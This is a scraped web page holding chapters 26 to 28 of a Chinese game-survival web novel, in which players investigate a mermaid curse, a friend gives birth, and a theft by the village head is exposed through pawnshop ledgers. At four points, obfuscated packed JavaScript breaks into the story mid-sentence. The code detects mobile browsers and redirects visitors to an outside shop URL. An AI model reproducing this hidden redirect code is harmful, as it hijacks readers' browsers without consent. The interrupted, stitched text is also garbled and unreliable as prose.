从高一开始他成绩就一直压我一头。我们关系不差,甚至算得上熟,可我心里始终有点担心他会不会跟我抢MVP。 “好在我老公没有被卷进来。”喻清月弯了弯眼睛。 “是啊,好在他没进来。”林修玊接了一句,语气一转,“不然那疯批指不定闹出什么事。” “能有你疯么?”我看了他一眼,“你才该庆幸清月老公没被卷进来,不然哪轮得到你站这儿保护她。” 林修玊一噎,没反驳。 听到我们这边的动静,其他玩家也陆续围了过来。 “这个副本看起来不简单。”其中一个人主动开口,“系统连提示都没给,不如大家先合作?” 话音刚落,旁边立刻有人嗤了一声。 “合作?”他目光扫过喻清月的肚子,毫不掩饰轻蔑,“带着个怀孕的女的?这不是明摆着的拖油瓶吗。” 空气一下子冷了下来,我看到林修玊握紧的拳头。 我们谁都没接话。 他们不了解喻清月。 不知道她是高中时教我防身术的人,不知道她大学当过合气道社团社长,更不知道,在场很多自以为“能打”的人,真动起手来,未必接得住她三招。 我最讨厌的,就是这种只看表面就给人下结论的家伙。 在副本里,这种人往往死得最快。 一进村,我们就感觉到了不对劲。 空气里那股咸湿的海腥味仿佛黏在皮肤上,整个人都变得很沉重,路边的村民纷纷停下手里的活,目光齐刷刷落在我们身上,不是好奇,而是警惕,甚至带着几分避讳。 “你们是谁?”一个村民走上前,语气生硬。 我顺势编了个理由:“我们想出海探险捕鱼,路过这里,想借艘船。” 那人脸色立刻变了。 “出海?”他连连摆手,像是听到了什么不吉利的词,“不行,不行,船不能借。” 他压低声音,瞥了一眼周围,又急又快地补了一句:“你们听我一句劝,这片海不干净,有诅咒。能走就赶紧走,别惹事,回去吧。” 他说完,像是怕被什么听见似的,转身就走,连多看我们一眼都不敢。 雾气在村口缓缓翻涌,我们在村里的客栈暂时歇脚。 林修玊凑到柜台前,若无其事地说要一间双人房。 我立刻清了清嗓子:“四人间。” 林修玊回头瞪我,对我竖了个中指,眼神里写满了不爽。 我当没看见,抬手拍了拍他的肩膀,语气一本正经:“咳,四个人住在一起,最起码安全一些。你别夹带私心。” 他冷笑了一声,咬牙切齿道:“班晨晨,你真的很会破坏气氛。” 我心情莫名好了点。 林修玊被我堵得没话,悻悻收回手指,眼里还有些不甘,显然在心里给我记了一笔账。 店员是个本地中年男人,皮肤黝黑,眉眼被海风刻得很深邃。他没理会我们斗嘴,只是从柜台下取出四把系着木牌的黄铜钥匙,又翻开一本泛黄的登记簿。 “四人间,二楼尽头,靠海。”他说话声音沙哑,递钥匙时目光在我们脸上扫了一圈,压低了声音,“夜里关好门窗。不管听见什么,都别出去,更别靠近海边。” 我立刻嗅到了副本味道,凑近问:“为什么?” 他朝窗外看了一眼。 “有诅咒。”他说。 “村里曾有人在海里遇见人鱼,拿走了她的眼泪和鳞片。从那以后,靠近海的人身上开始长出青灰色的鳞纹,孕妇接连流产,有人夜里失神般走进海里,再没回来。” “那个人呢?”林修玊问。 “疯了,或者死了。”店员语气平淡,“没人知道。” 钥匙被重重放在柜台上,像是警告的句点。 我们拿着钥匙上楼,木楼梯吱呀作响,海浪声一下一下像拍进耳朵里。 我听见喻清月翻着包,发出细碎的摩擦声,像是在捏什么东西。 “你干嘛呢?”我走过去问。 她把手里的东西递到我面前。 “握力器。” “多少公斤的?”我随口一问。 “70。” 我愣了一下:“……夺少?” “70公斤。” 我沉默了两秒。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027552|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好一个雌鹰般的女人。 我转头看向林修玊:“你现在在想什么?” 他面无表情,语气异常诚恳:“我在想我能活到现在,属实是清月宽宏大度。” 突然一阵敲门声响起。 我和林修玊交换了一个眼神。 他悄无声息地移动到门侧阴影处,手已虚按在腰间的刀上。 我定了定神,拉开一条门缝。 门外站着的,是刚进副本时想和我们一起行动的人。 他脸上挂着看似友好的笑,眼神却带着打量和焦躁。 “几位,还没休息呢。”他压低了声音,“长夜漫漫,枯等也不是办法。这副本开局就这么诡异,肯定得主动找线索。怎么样,要不要一起?先去海边探探?人多安全些。” 我心里快速盘算。 他的提议看似合理,但店员近乎警告的叮嘱犹在耳边,窗外海风呜咽,黑暗中潜藏着未知的诅咒。 冒然行动,尤其是去明显被划为禁忌的海边,风险极高。 “不了,”我拒绝得干脆,身体挡住大半门缝,“店家的话说得够明白了。天黑别近海,听见什么都别好奇。这不像是空穴来风。” 对方脸上的笑容淡了些,透出几分不以为然:“NPC的话能全信?说不定就是误导,或者藏着支线。等天亮了,线索可能就过期了。” “我们判断,今夜按兵不动、收集更多信息更稳妥。”我摇摇头,没有让步的意图,“海不会跑,但命只有一条。诅咒如果是真的,被‘标记’了怎么办?” 他似乎有些恼火,往前凑了半步,声音更急:“哪有绝对的安全?撑死胆大的饿死胆小的!你们这也太……” “我们的行动计划就是这样。”我没等他说完,语气冷硬地截断,“今晚我们不会离开客栈。你们请自便。” 说完,我不再给他纠缠的机会,直接向后一步。 “砰!” 我干脆利落地关上门、落锁。 实木门板隔绝了对方可能还未说出口的话,也隔绝了走廊里不甚明亮的光线。 门外隐约传来一声压抑的、带着不满的嘟囔,以及逐渐远去的脚步声。 林修玊吹了声口哨,调侃道:“晨晨,关门够帅的啊,不怕得罪人?” “怕什么。”我走回房间中央,目光扫过队友,“这种开局就急着拉人冒进、无视明显危险提示的,要么是蠢,要么是别有用心。跟他们搅在一起,死得更快。” “我的想法是,”我向队友阐明计划,“今晚咱们轮流守夜,确保房间安全。明天天亮,我们再分头行动,去村里多找几个不同的人打听,渔夫、老人、妇孺……对比说辞,拼凑更完整的线索。诅咒、鳞片,还有那个第一个遇见美人鱼的那个人的信息。” 寂静中,一缕歌声却像海雾般渗了进来,幽然婉转,牵引着心神不由自主地飘向窗外那片漆黑的海。 我这才真正体会到“别好奇”三个字有多沉重。 赵美铭一言不发,转身就朝房门走。我和林修玊几乎同时弹起来,一左一右拦在了她面前。 走向它需要勇气,而抵抗它,或许需要更大的意志。 不知那些选择“去听听”的同行者,此刻是沉醉,还是已开始后悔。 26.第26章 我们拼了命拦住赵美铭,直到那诡异的歌声持续了整整一个小时,才终于消失。 清醒过来后,赵美铭脸色发白,整个人还在发抖。 她心有余悸地说,刚才她听见的是她妈妈在叫她,让她过去。 难道那歌声会诱发幻听,甚至精准击中人的执念? 可我、林修玊,还有喻清月却毫无反应。 歌声停歇后的几分钟里,空气安静得令人心慌。 忽然,系统冰冷的提示音响起: “玩家王富、尤贝宁通关失败,积分不足扣除,确认死亡。” 我们把纸团揉成简陋的耳塞塞进耳朵里,赵美铭又用绳子把自己的手臂牢牢绑在床柱上,生怕那诡异的歌声再来一次。 这一夜,没人睡得踏实。 第二天清晨,我们刚从客栈出来,就看到剩下的那名玩家站在门口,像是早就在等着我们一样。 她神情焦急,言辞恳切,希望能加入我们,一起行动。 我下意识想拒绝。 可还没等我开口,喻清月已经点了头。 “我和他们不一样。”她开口,“我不会觉得孕妇是拖油瓶。” 她的目光落在喻清月身上,又很快移开。 我一时分不清,她这句话是想讨好我们,还是单纯因为在所有人里,只有喻清月愿意接纳她。 “我叫周琦。”她说,“卷入游戏之前,是助产士,经常和医生一起做接生工作。” 这句话立刻打消了我心里大半的戒备。 喻清月临近产期,在这种副本里,任何一点意外都可能致命,而她的身份,恰好能补上我们最薄弱的一环,毕竟我们仨谁也不会接生。 但信任不等于放松警惕,我很快做出决定,她必须和我一起行动,至少在我的视线范围内。 我们很快分好了组,林修玊和喻清月一起行动,而我则带着周琦和赵美铭,分头去打听村里关于人鱼的传闻。 我们分开行动后,村里的雾气反而散开了些,海风一阵阵往村里灌。 我、周琦和赵美铭沿着临海的那条土路走,路边晒着破渔网,木桩上缠着早就风干的海草。 一个老渔妇坐在门口补网,手指粗糙,关节扭曲。 我走过去,蹲下身:“阿婆,想问问,这海……以前出事过吗?” 她的动作顿了一下,抬头看了我一眼,又很快低下去。 “外乡人?”她问。 “是。”我没否认。 她没再赶我们走,只是冷笑了一声:“出没出事,你们昨晚没听见吗?” 赵美铭脸色微微一白。 我顺着她的话往下接:“听见了歌声。有人说,是人鱼。” “呵。”老渔妇嗤了一声,“人鱼倒霉。” 我心里一动:“怎么说?” 她补网的手慢了下来,线在指间绕了一圈又一圈,像是在斟酌要不要继续。 “那海里本来就有东西,”她低声说,“唱歌也不是这几年才开始的。以前听见,最多就是犯困做关于人鱼的梦,哪会死人。” “那后来为什么会变成现在这样?”周琦问。 老渔妇没看她,只盯着自己的手:“后来啊,有人动了不该动的心。” 她说完这句话,就像是踩到了什么禁忌,猛地收紧渔网,站起身来。 “该说的我说了,”她挥手,“你们别再问我。” 我们正要离开,旁边一间屋子的门却被推开。 一个中年男人探出头来,脸色发黄,眼神躲躲闪闪。 “你们问人鱼?”他压低声音,“别信她,她那套都是替死人说话。” “死人?”我回头。 男人左右看了看,把我们拉到屋檐下。 “当年那人,”他伸手往海那边一指,“就是贪。” “贪?”赵美铭忍不住问。 “可不是。”男人语气笃定,“突然有钱,换新衣,买炭火,冬天一家过得比谁都好。后来被发现和人鱼勾搭,拿了她的眼泪和鳞片。” “人鱼发现被骗,就下了诅咒。”他说,“要我说,那是活该。” 我皱眉:“如果只是他一个人贪,为什么后来死了那么多人?” 男人噎了一下,随即不耐烦地摆手:“诅咒这种东西,谁说得清?反正别靠海就对了。” 他说完就关了门。 他好像也在回避什么。 “他说的,和刚才那位阿婆的不一样。”赵美铭喃喃。 另一边,林修玊和喻清月从村子的另一头回来。 喻清月脸色不太好,手一直护在肚子前。 “打听到了?”我问。 林修玊点头,又摇头:“听到的版本,比你们还乱。” “有个卖酒的说,人鱼是被献祭的,为了救全村。” “还有个老人说,是那渔夫想独吞,被村长发现,才出的事。” 我心里一沉:“他们提到村长了吗?” “提了,不过只是随口一提。”林修玊冷笑,“全是‘当年大家也是没办法’。” 喻清月终于开口:“但有一件事,他们说漏了。” “什么?” “最早出事的,”她说,“是和村长家走得最近的几户人家。” 我脑子里迅速把零碎的线索串在一起。 人鱼的歌声原本不致命。 诅咒出现得很有顺序。 渔夫像是被推出来挡事的。 他们好像在说谎。 傍晚,我们在一家面馆吃饭。 “啊啊啊!!又一个娃儿长鳞片了!!” 远处传来一声凄厉的喊叫。 街上瞬间乱了,我们丢下钱,立刻循声跑去。 屋里,一个男人抱着襁褓里的婴儿,情绪失控,竟伸手去扯孩子身上的鳞片。 婴儿撕心裂肺地哭,细小的鳞片被硬生生撕下,血顺着皮肤渗出来。 虽然我知道这婴儿也只是NPC,但还是没止住怒火,冲上去一把把孩子夺过来。 低头一看,却僵住了—— 婴儿的脖颈两侧,有几道细小的裂口。 像……腮。 还没等我反应,旁边的人猛地把孩子从我怀里抢走,高高举起:“你们看!这孩子要变成人鱼了!这是诅咒!!” 人群瞬间炸开。 那男人回头,抬手就朝床上虚弱的产妇扇去:“你个不详的婆娘!竟给我生了个孽障!” “住手!”我一脚踹开他。 他指着我破口大骂:“你算什么东西?护着被诅咒的女人,难不成你也中了人鱼的咒?” 他扑上来时,我直接一个过肩摔把他掀翻在地。 下一秒,他恼羞成怒,一拳朝我砸来——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031230|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 喻清月一步上前,干脆利落地一记砍掌劈向他脖子,又抬脚踢向膝盖。 男人惨叫着跪倒在地,骂骂咧咧:“这女人……还是个练家子的!” “这么厉害,肯定也是被人鱼诅咒的!”人群里有人尖声喊。 放屁!我们女人,本来就这么强。 “你们看啊!她还是个孕妇!” 人群里有人尖声喊道,“孕妇却有这种力气,她肯定被诅咒了!她肚子里的孩子,也一定是孽种!” “闭嘴!” 林修玊低喝一声,刀尖抵在那人鼻前。寒光一闪,对方吓得连连后退。 什么诅咒。 那分明是截拳道。 床上的产妇喘着粗气,视线却死死盯着喻清月的脚踝,喃喃道:“你……你怎么也……” 我顺着她的目光看去,心猛地一沉。 喻清月的脚踝上,浮着一圈青灰色的纹路,像鳞,却还未成形。 “我就说吧!” 跪在地上的男人捂着膝盖歇斯底里地吼,“她是外乡人!被诅咒的!不杀了她,村子迟早要出事!” 空气骤然绷紧。 “谁敢。” 我和林修玊同时挡在喻清月身前。 “等等。” 一个老人缓缓从人群中走出,摸了摸胡子,眉目慈祥,“你们是外乡人?来这里,是为了人鱼吗?” “村长。”村民们颔首。 赵美铭点了点头。 村长眼神微暗,沉声说道:“这些天你们也听说了传闻。如果真想去海面看看,我可以把船借给你们。” 我心里暗暗惊讶,和其他村民提借船的事都不会答应,怎么他…… “晨晨……呃……” 喻清月突然抓住我的手,她紧捂着肚子,眉头紧蹙。 我低头一看,裤子已经湿透。 “这……是要生了!?” 我立刻扶住她。 “清月!清月!” 林修玊毫不犹豫,一个公主抱将她抱起。 “看啊!诅咒要灵验了!她一定会生出一个带鳞片的孩子!”有人刻意煽动人群。 “谁敢胡说!都给我滚!”林修玊怒喝一声,护着喻清月就要离开。 “周琦,你不是说你是助产士吗?”我拉住她,“跟我们回客栈,准备热水,马上接生!” “我……我不会……” 她突然结巴起来,眼神躲闪。 我猛地停下脚步:“……你说什么?” “我、我其实只是普通的临床护理护士……没接过生,一次都没有。” 这一刻,脑子“嗡”地一声。 我抬手,一巴掌狠狠甩在她脸上。 “你骗我们?!” 她被打得踉跄了一下,眼泪瞬间涌出来:“其他玩家都死了……我不敢一个人行动……我怕你们不要我……” 我死死盯着她,胸口翻涌着怒火,却还是强行压了下去。 现在不是算账的时候。 清月要生了。 我们从围着的人群中冲了出去,赶回客栈。 我深吸一口气,把喻清月扶到床上半躺的位置,尽量让她好受一些。 林修玊和赵美铭护在她身前,警惕地盯着四周。 “清月,慢慢用力,跟着呼吸走,不要慌。”我低声安抚着。 27.第27章 几个小时后,孩子终于出生了。 随着婴儿清亮的啼哭声响起,我心里那根紧绷了一整晚的弦,终于松了下来。 我小心翼翼地替她擦去身上的血渍和黏液,动作放得极轻。皮肤在灯下泛着健康的暖色,没有鳞片般的纹路,也没有任何类似腮裂的痕迹。 是个再正常不过的新生儿。 我愣了几秒,才把孩子递到喻清月怀里:“是女孩儿。” 她低头看着怀中的小生命,眉眼间的疲惫慢慢褪去,露出稍显轻松的神情。 她抱着孩子,很快便浅浅睡了过去。 我替她清理身体时,发现她脚踝处那片青灰色的纹路,不知什么时候,已经彻底消失了。 我下意识抬头看向她。 头胎,从开指到生产,只用了短短几个小时。没有无痛,没有止痛药,她几乎是咬着牙一路撑过来,却连一声失控的喊叫都没有。 “清月,”我轻声问,“你现在感觉怎么样?” 她睁开眼,神情变得有活力起来,完全不像刚经历过生产的人。 “挺好的。”她笑了笑,指尖轻轻抚过孩子柔软的发顶,“出乎意料地顺利,也……不怎么疼。” 我站在床边,心里却慢慢沉了下去。 这真的只是侥幸吗? 又或者…… 那些被村民称作“诅咒”的东西,就并不是惩罚,而是庇护? 可那些离奇死亡的村民们又是为何? 这座村子里死去的人太多了,绝不会只是巧合,我必须从那些死者的身份入手。 也许,他们之间存在着某个被刻意忽略的共同点。 只是这一刻,我的目光还是不由自主地落在喻清月怀里的孩子身上。 “孩子,还没取名字呢。” 眼下我也沉浸在朋友顺利生子的喜悦中。 “好漂亮的琥珀色眼睛,像玻璃珠一样亮。”喻清月坐起身,将孩子轻轻搂在怀里,“就叫黄琉璃,怎么样?” “好听。”我点头。 这个名字干净、温暖。 晚上,嘱咐完林修玊照顾好喻清月、看好周琦后,我和赵美铭又去了一趟那家面馆。 这一次,我特地多放了点小费。 老板接过钱,先是愣了一下,随即下意识地左右张望了一圈,压低了声音:“你们问的那户人家,是老陈家。” “怎么说?”我顺势问。 “他媳妇的爹,前些年就死了。”老板皱了皱眉,“村里人都说,是被人鱼诅咒死的。” “那位老人家生前……做过什么吗?”我追问。 老板想了想,摇头:“也没听说干过什么坏事。反正他和村长关系挺好的。所以今天陈家媳妇生娃儿的时候,村长还特地过去看望。”老板补了一句,“其他的……我真不知道了。” 可我已经不需要更多了。 和更多村民打听过后,零散的说法终于拼出了一个勉强成形的轮廓。 我得到了两个结果。 第一,身上出现鳞片纹路、且最终死去的人,要么本人与村长关系密切,要么是那些人的直系亲属。 而没有死的人,大多只是生过一场重病,或是经历过某件足以改变人生走向的重大事件,之后鳞片纹路便慢慢消失了。 第二,歌声并不会对所有人产生同样的影响。 有人听见歌声,只会在梦里见到自己最思念的人,醒来后情绪低落,却安然无恙。而有的人,则会像梦游一样,被声音牵引着走向海边,再也没有回来。 村里人说,那些人是被美人鱼拖进了海里,活活溺死的。 可我却觉得,这个说法本身就带着恐惧滤镜。 我把这些信息放在一起对照。 喻清月的情况,恰好是个反例。 她的脚踝也曾出现过鳞片般的纹路,却在顺利生产后彻底消失。 她清楚地表示过生产的疼痛并不剧烈,那可是12级啊…… 如果“鳞片纹路”真的是死亡预告,那她不该活下来。 所以它更像是一种标记。 一种……分辨的标记。 有的人得到了福报,有人得到了惩罚。 如果这是恶果,那就意味着那些最终死去的人,本身做过什么,对人鱼不利的事。 而村长,恰好站在这些人之间。 思路在这里忽然停住了。 一个始终没能被解释的问题,像暗礁一样横在前方。 人鱼,为什么一定要把人拖进海里? “赵姐,你回去和她们待着。我要去查一样东西。” “你要去哪儿?”她拉住我。 “你放心。”我把她的手轻轻掰开,“这件事,大概率只能我去做。” 我没有再多解释,一个人去找了村长借船。 其他村民一听我要出海,不是装聋作哑,就是直接摇头,说船坏了、风浪大、晦气。 可村长几乎没有犹豫,只是看了我一眼,便点头答应下来。 这份干脆,反倒让我更加确定他一定有问题。 我原本想让林修玊和我一起行动,我下海,他在附近盯着村长的一举一动。 可我转念一想,又否定了这个念头。 我不放心喻清月。 她刚生产完,必须要有人守着她。 “那就简单点。”林修玊单手撑着下巴,“周琦去盯着村长。” 不愧是多年好友,想一块儿去了。 “我……?我……” 周琦攥紧了衣角,看了喻清月一眼。 怎么,还希望我的朋友再对你心软一次? “如果你还想和我们一起行动,”我看着她,“那你就该为这个团队付出些什么。” 这句话没有留任何退路,她张了张嘴,最终只能点头。 今晚的月色很美,月光铺在海面上,像碎银一般。 可海边无人敢靠近,四下没有一盏灯。 人鱼的歌声,又一次传来。 我摸索着解开绳索,推船入水,木桨落进海里,发出轻微的声响,很快就被浪声吞没。 一开始,那歌声只是空灵,不掺一丝杂质。 我甚至觉得,它比昨天听到的还要美。 我划着船,一点点靠近。 随着距离缩短,海雾渐渐浓了起来,湿冷的水汽贴着皮肤,歌声却越发清晰,像是贴在耳边吟唱,节奏缓慢,带着难以抗拒的韵律。 我忽然脑海里一片空白,只剩下那声音。 它不像是在引诱,更像是在安抚,在告诉你—— 靠近一点也没关系。 我心里升起一丝不安,却又控制不住地继续向前。 前方的雾气忽然散开了一角,月光重新洒落,那歌声的源头,终于显露出来。 在那片银白的水色中,人鱼的轮廓,缓缓浮现。 直到它转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036830|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过身。 “何……何彦明?” 理智在一瞬间猛地清醒—— 何彦明早就死了,这是事实,是我亲眼确认过的结局。 可这五官、气质,没有任何偏差。 我清楚地知道,这是人鱼制造的幻象。 可那歌声仍在我脑中回荡,将“危险”这个念头慢慢包裹、压下。 ——“它并不危险。” ——“靠近我吧。” ——“来吧,晨晨。” 我发现自己的身体,竟然在顺着这个念头向前倾。 我好想靠近它。 “好久不见,晨晨。” 歌声,在那一刻戛然而止。 它开口说话了。 不再是动人的吟唱,而是清晰、低沉、带着我无比熟悉的语调。 那是何彦明的声音。 我指尖发冷,心口却诡异地发热。 我的脚步已经不再受自己控制。 木板在脚下发出轻微的声响,我走到船头,海风将衣角吹气,可我不再觉得冷。 我甚至没有意识到自己什么时候跪了下去,只是顺从地俯身,虔诚地看进那双眼睛里。 那眼神温和、专注,像过去每一次看向我时那样。 它朝我伸出手。 指尖触碰到我脸颊的一瞬间,我浑身一颤,它捧住我的脸,吻了上来。 唇贴合的瞬间,海水的气息涌入我的感官,我的大脑一片空白。 身体被拉向前倾,我顺着那股力量跌进冰冷的海水里,无法挣扎。 意识开始发虚,四肢变得沉重,而那双手始终牵着我,像是在引我去往某个没有痛苦的地方。 原来是这样。 那些人,他们只是心甘情愿地,溺死在了属于自己的美梦里。 好在,上个副本结束后,我选择的能力在这一刻派上了用场。 ——水下呼吸。 冰冷的海水灌入喉咙,却没有窒息感,肺部依旧在运作。 可即便如此,意识还是在一点点下沉。 是那歌声。 它在脑海里回荡,一遍遍勾勒出我最不愿失去的画面。 身体可以呼吸,精神却在被剥离。 好困。 像是被海水包裹,又像是被什么温柔的东西抱住,所有抵抗的念头都变得多余。 意识最终还是脱手了。 再次醒来时,我被冷意刺得猛地咳了一声。 我趴在岸边,指甲陷进湿冷的沙子里,天空已出现一抹鱼肚。 脖子沉得厉害。 我抬手一摸,指尖碰到一块冰凉坚硬的东西。 是一条银锁项链。 样式古旧,边缘被打磨得圆润,刻着早已模糊的纹样,一定是被人贴身佩戴过很多年。 我踉跄着回到客栈,锁好门,烧了热水,把自己泡进木桶里。 热水漫过肩背时,僵硬的肌肉才一点点松下来。 海水的咸腥被冲散,只听得见自己的心跳声,一下一下,提醒我,我还活着。 我把那条项链取下来,放在掌心。 锁面以花为媒,纹样层层叠叠,中心刻着两个牵手的小人,一男一女,衣角相连。 我忽然想起传闻里被反复提及的“贪婪”、“诅咒”,“人鱼的报复”。 可若真是这样,人鱼又为什么要把这样一件象征相守与信约的东西,交到我手里? 28.第28章 林修玊和周琦告诉我,村长确实派人跟到了海边,那几个人用布条堵着耳朵,可有一人还是没有抵挡住歌声,所以其他人只好作罢,便撤退了。 他们还发现一个老渔民鬼鬼祟祟地跟着村长的人。 夜里,那佝偻着背的老渔民敲响了我们的房门。 他脸色灰白,咳得厉害,每一下呼吸都带着湿哑的声响。 “你们……是来查人鱼的传闻的吧。” 他突然盯着我脖子上的银锁看了很久,眼眶发红,“我认得这个。” 我心头一震。 “那是我那位老朋友的东西。” 老渔民慢慢坐下,手指颤抖,“他们说他是贪心,招了人鱼的诅咒,我不信。他要是贪财,早就在日子困难的时候把这锁卖了,哪还能一直留着。” 我沉默了很久,忽然意识到这是一个能撬开真相的缺口。 第二天,我戴着银锁去了官府。 我说,我是那名渔夫的后代。 说祖上传下来的金鳞片与珍珠不翼而飞。 说渔夫死因不明,而财物失踪。 毕竟官府肯定不信什么人鱼诅咒,但一定信命案和财物失踪。 老渔民作为人证,跪在堂前,咳得几乎说不出一句完整的话,却仍一字一句地作证。 “这银锁,的确是我老友的传家之物。” 随后,他从怀里取出两样东西。 一片暗金色的鳞片。 一颗泪滴状的珍珠。 “他给我的。”老渔民低声说,“说能治我的病,但我没用过……太贵重了。” 官府当场收下了证物。 我又补了一句:“大人,既然涉及财物流向,或许可查一查附近当铺的旧账。” 其实我并不是没想过自己去当铺。 只是这个念头刚冒出来,就被我亲手掐灭了。 当铺这种地方,能在村里安然无恙地吃下那么多来路不明的财物,本身就有很大可能不干净。 如果我一个外乡人贸然上门,别说查账,怕是连账页的影子都看不到。 他们只需要一句“账本遗失”,或者和村长等人通风报信,就能让村长知道,有人开始怀疑了。 到那时,账会被烧,东西会被转移,而我和队友们,只会成为下一个“被诅咒的人”。 官府查账,是突袭,可以封铺、封账、封人。 账本会在他们来不及反应的时候被翻出来,金鳞片和珍珠的去向,会被一条一条写在纸上,逃无可逃。 这才是我真正想要的。 官差在深夜分三路闯进了村子里几家当铺,分别由我、老渔民和周琦,林修玊,喻清月和赵美铭分头行动。 火把亮起时,我站在门外,隔着门板都能听见里面骤然停下的算盘声。 “例行查账。”为首的官差冷声道。 掌柜们的反应几乎一模一样。 先是一愣,随后立刻堆起笑脸,连连作揖。 “官爷夜里辛苦了,小店向来守规矩,账本都在这儿。” 账本被捧出来,摊开在桌上。 官差翻得很快,一页一页掠过。 “近几年,可有人来当过金鳞片,或成色极好的珍珠?” 话音落下,屋里短暂地安静了一瞬。 随后,是几乎重合的回答。 “没有。” “从未见过。” “这等稀罕物,小店哪敢收。” “要是真有,早就记在账上了。” 不同的当铺,不同的掌柜,说出口的话却像是提前对好的一样,连表情和语气都相差无几。 官差抬眼看了他们一圈。 “确定?” “确定。” “千真万确。” “官爷若不信,大可细查。” 账本上确实干干净净。 没有“鳞”,没有“珠”,甚至连近似的字眼都没有。 只有一些模糊的记录—— 【杂货】 【旧饰】 没有来路,也没有去向。 我站在门外,看着火光映在纸页上,心里却慢慢沉了下去。 这些账也太干净了,肯定有问题。 官差翻到中段,我凑过去看了一眼。 那几页账,干净得过分。 整整三个月,没有一笔珍珠,没有一件异材。 我忍不住问:“你们这条海边的镇子,三个月没人拿珍珠来当?” 掌柜答得飞快:“那段时间海禁严,收得少。” “少,不是没有。” 我抬头看他。 “更何况……隔壁镇的当铺,同一时间,珍珠却不少。” 官差皱起眉。 “你们这里,只有在这段时间,突然‘清白’了。” 我翻到账册末尾。 一行字让我停住了。 “旧铜饰一件,典银五十两。” 我抬头:“这是什么铜饰?” 掌柜喉咙一紧:“就……普通旧物。” 我笑了一下。 “五十两。” “你们这儿,连整串南珠,也卖不到这个价。” 官差脸色当场变了。 “把这几个月所有高价‘普通物件’全部列出来。” 官差很快就把账本摊开,一页页往后翻。 “旧铜饰,三十两。” “残玉一块,四十两。” “杂石一件,六十两。” 全都在同一段时间。 掌柜的额头开始冒汗。 我站在一旁,轻声补了一句:“官爷,这些名字不一样,但价钱,都不像是凡物。” 官差的手停住了。 “去。” “把附近几家当铺的账,一并调来。” 夜深后,几本账册被并排摆在桌上。 我只看了一眼,就明白了。 同样的时间段。 同样的空白。 同样高价的‘旧物’。 甚至连用词都一模一样。 “旧铜饰。” “杂石。” “残玉。” “官爷,巧合不会一模一样。”我指给官差看。 “这是教过词了。”官差冷笑了一声,挥手喝道:“搜。” 柜台被掀开,后墙被敲响。 “咚——” 空的。 “笃——” 这一声不太对。 暗格被撬开时,一股潮气扑面而来。 里面不是铜饰。 是一包被油纸包着的鳞片,在灯下泛着淡淡的金光。 我把老渔民给我的那片金鳞片,放在桌上。 官差将当铺里搜出的那些拿了一片并排放下。 灯光下,两片鳞纹走向、光泽,缺口,都一模一样。 掌柜腿一软,直接跪了下去。 但突然,我听见身后有什么东西撞翻了桌子。 寒光一闪,老渔民被我拽开,血却还是溅在了账册上。 官差怒喝:“拿下!” 当铺的学徒被按在地上,拿着匕首的手还在发抖。 “谁让你动手的?”官差问。 那学徒恶狠狠瞥了我们一眼。 我和周琦检查了一下伤势,好在老渔夫没有大碍。 我笑了笑,实在是天助我也。 原本我们暂时只能查出经济犯罪,现在这一刀让案件性质直接升级为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040863|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重罪谋害。 即便人证受伤甚至死去,也无法抹去实物证据,银锁、金鳞片、珍珠,还有多家当铺账目异常,这些都是明明白白的事实,人证是否活着反而没那么关键了。 官差命令将当铺封锁,开始仔细记录账目和物证。 我借一步和官差商量了一个计划。 几个小时后,我们果然发现有人蒙着面,鬼鬼祟祟地从怀里掏出东西。 我立刻警觉,估计是火石之类的。 果然,不一会儿,当铺的角落便窜起了火焰。 那人正躲在不远处看火势,我和官差同时扑了过去,将他按倒在地。 “谁!你干什么的!”官差厉声喝道。 那人只是扭过头,面罩下的眼神闪着惊恐。 官差一把扯下面罩—— “徐二?!”老渔夫认出他,脸色瞬间惨白。 “你认识他?”官差问老渔夫。 “是的,官爷,我认识,这人是我们村的。”老渔夫声音颤抖。 这肯定是村长一伙派来摧毁物证的人。 “他们也穷途末路了。”我嘲讽道,“刚才试图杀人证没成,现在果然想毁物证。” 火势很快在官差和当铺人手中被控制住,放账簿的桌角被烧黑,焦味让空气中弥漫着紧张,不过好在账本没事。 